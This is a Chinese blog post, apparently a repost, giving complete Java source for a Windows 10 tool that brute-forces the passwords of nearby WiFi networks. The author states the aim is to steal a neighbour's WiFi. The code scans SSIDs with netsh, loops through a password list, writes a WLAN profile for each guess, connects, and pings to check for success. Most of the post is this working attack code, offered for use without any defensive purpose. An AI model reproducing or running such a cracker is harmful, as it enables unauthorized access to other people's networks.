使用java破解wifi(win10环境)
生活随笔
收集整理的這篇文章主要介紹了
使用java破解wifi(win10环境)
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
簡(jiǎn)介
閑來無事,手機(jī)的無限流量很卡,于是想偷隔壁的wifi,寫此程序,僅供娛樂。
Git地址
https://github.com/FangCheng666/zn_wifi_crack.git
代碼如下
1.cmd工具類
package com.znkeji.zn_wifi_carck.utils;import java.io.BufferedReader; import java.io.File; import java.io.IOException; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.List;/*** Created with IntelliJ IDEA.* User: fangcheng* Date: 2019/3/24* Time: 16:21* Description: cmd 需要的工具類*/ public class CmdUtils {/*** 該方法封裝了執(zhí)行cmd的方法** @param cmd CMD命令* @param filePath 需要在哪個(gè)目錄下執(zhí)行*/public static List<String> execute(String cmd, String filePath) {Process process = null;List<String> result = new ArrayList<String>();try {if (filePath != null) {process = Runtime.getRuntime().exec(cmd, null, new File(filePath));} else {process = Runtime.getRuntime().exec(cmd);}BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));String line = null;while ((line = bReader.readLine()) != null) {result.add(line);}} catch (IOException e) {e.printStackTrace();}return result;}}2.字符串工具類
package com.znkeji.zn_wifi_carck.utils;/*** Created with IntelliJ IDEA.* User: fangcheng* Date: 2019/3/24* Time: 16:21* Description:字符串工具類*/ public class StringUtils {/*** 字符串轉(zhuǎn)換成為16進(jìn)制(無需Unicode編碼)* @param str* @return*/public static String str2HexStr(String str) {char[] chars = "0123456789ABCDEF".toCharArray();StringBuilder sb = new StringBuilder("");byte[] bs = str.getBytes();int bit;for (int i = 0; i < bs.length; i++) {bit = (bs[i] & 0x0f0) >> 4;sb.append(chars[bit]);bit = bs[i] & 0x0f;sb.append(chars[bit]);// sb.append(' ');}return sb.toString().trim();}}3.wifi工具類
?
package com.znkeji.zn_wifi_carck.utils;import java.util.Hashtable;/*** Created with IntelliJ IDEA.* User: fangcheng* Date: 2019/3/24* Time: 13:16* Description: WiFi工具類*/ public class WiFiUtils {/*** 獲得wifi配置文件字符串* @param WIFI_NAME* @param hex* @param WIFI_PASSWORD* @return*/public static String getWifiStr(String WIFI_NAME, String hex, String WIFI_PASSWORD) {return "<?xml version=\"1.0\"?>\n" +"<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\n" +"\t<name>"+WIFI_NAME+"</name>\n" +"\t<SSIDConfig>\n" +"\t\t<SSID>\n" +"\t\t\t<hex>"+hex+"</hex>\n" +"\t\t\t<name>"+WIFI_NAME+"</name>\n" +"\t\t</SSID>\n" +"\t</SSIDConfig>\n" +"\t<connectionType>ESS</connectionType>\n" +"\t<connectionMode>auto</connectionMode>\n" +"\t<MSM>\n" +"\t\t<security>\n" +"\t\t\t<authEncryption>\n" +"\t\t\t\t<authentication>WPA2PSK</authentication>\n" +"\t\t\t\t<encryption>AES</encryption>\n" +"\t\t\t\t<useOneX>false</useOneX>\n" +"\t\t\t</authEncryption>\n" +"\t\t\t<sharedKey>\n" +"\t\t\t\t<keyType>passPhrase</keyType>\n" +"\t\t\t\t<protected>false</protected>\n" +"\t\t\t\t<keyMaterial>"+WIFI_PASSWORD+"</keyMaterial>\n" +"\t\t\t</sharedKey>\n" +"\t\t</security>\n" +"\t</MSM>\n" +"\t<MacRandomization xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v3\">\n" +"\t\t<enableRandomization>false</enableRandomization>\n" +"\t</MacRandomization>\n" +"</WLANProfile>\n";} }4.啟動(dòng)類
package com.znkeji.zn_wifi_carck;import com.znkeji.zn_wifi_carck.utils.CmdUtils; import com.znkeji.zn_wifi_carck.utils.StringUtils; import com.znkeji.zn_wifi_carck.utils.WiFiUtils; import org.springframework.util.FileCopyUtils;import java.io.*; import java.util.ArrayList; import java.util.List; import java.util.Scanner;/*** Created with IntelliJ IDEA.* User: fangcheng* Date: 2019/3/23* Time: 20:18* Description: 啟動(dòng)類,項(xiàng)目的入口*/ public class App {public static void main(String[] args) throws IOException {List<String> wifiList = CmdUtils.execute("netsh wlan show networks mode=bssid", "./");List<String> ssidList = getSsidList(wifiList);for (int i = 0; i < ssidList.size(); i++) {System.out.println((i+1)+"."+ssidList.get(i));}System.out.println("請(qǐng)輸入要破解的wifi:");Scanner sca =new Scanner(System.in);sca.useDelimiter("\n");String ssid = sca.next();System.out.println("-----------您選擇的wifi為【"+ssid+"】-------------");System.out.println("-----------開始破解-------------");String path = App.class.getClassLoader().getResource("pwd.txt").getPath();BufferedReader reader = new BufferedReader(new FileReader(path));String pwd = null;int i = 0;while((pwd = reader.readLine()) != null){i++;System.out.println("開始連接:"+i+" -->"+ssid+" - "+pwd);boolean success = connect(ssid, pwd);if(success){System.out.println("連接成功,"+ssid+"的密碼為"+pwd);return;}}}/*** 連接wifi* @param ssid* @param wifiPwd*/private static boolean connect(String ssid, String wifiPwd) {try {String hex = StringUtils.str2HexStr(ssid);//生成wifi配置文件String wifiConf = WiFiUtils.getWifiStr(ssid, hex,wifiPwd);File out = new File("./temp.xml");FileCopyUtils.copy(wifiConf.getBytes(), out);//添加配置文件printList(CmdUtils.execute("netsh wlan add profile filename=temp.xml","./"));;//連接wifiprintList(CmdUtils.execute("netsh wlan connect name=\""+ssid+"\"","./"));;//測(cè)試網(wǎng)絡(luò),使用ping的方式檢測(cè)網(wǎng)絡(luò),此處建議優(yōu)化改其他效率更高的方式,暫停2000毫秒是因?yàn)檫B接WiFi需要時(shí)間,這個(gè)時(shí)間因環(huán)境而異CmdUtils.execute("ipconfig","./");Thread.sleep(2000);boolean success = ping();return success;}catch (Exception e){e.printStackTrace();}return false;}/*** 獲得ssidList* @param resultList 通過cmd命令查出來的附件WiFi* @return*/private static List<String> getSsidList(List<String> resultList) {List<String> ssidList = new ArrayList<String>();//遍歷result獲得ssidfor (String result : resultList) {if(result.startsWith("SSID")){String ssid = result.substring(result.indexOf(":")+2);ssidList.add(ssid);}}return ssidList;}/*** 打印list數(shù)據(jù)* @param resultList*/private static void printList(List<String> resultList) {for (String result : resultList) {System.out.println(result);}}/*** ping 校驗(yàn)*/private static boolean ping() {boolean pinged = false;String cmd = "ping www.baidu.com";List<String> result = CmdUtils.execute(cmd, "./"); // printList(result);if (result != null && result.size() > 0) {for (String item : result) {if (item.contains("來自")) {pinged = true;break;}}}return pinged;}}啟動(dòng)方式
啟動(dòng)App類中的main方法即可
效果如下
此文為原創(chuàng),轉(zhuǎn)載請(qǐng)注明出處,謝謝
總結(jié)
以上是生活随笔為你收集整理的使用java破解wifi(win10环境)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux使用aircrack-ng破解
- 下一篇: 名词性从句 - 同位语从句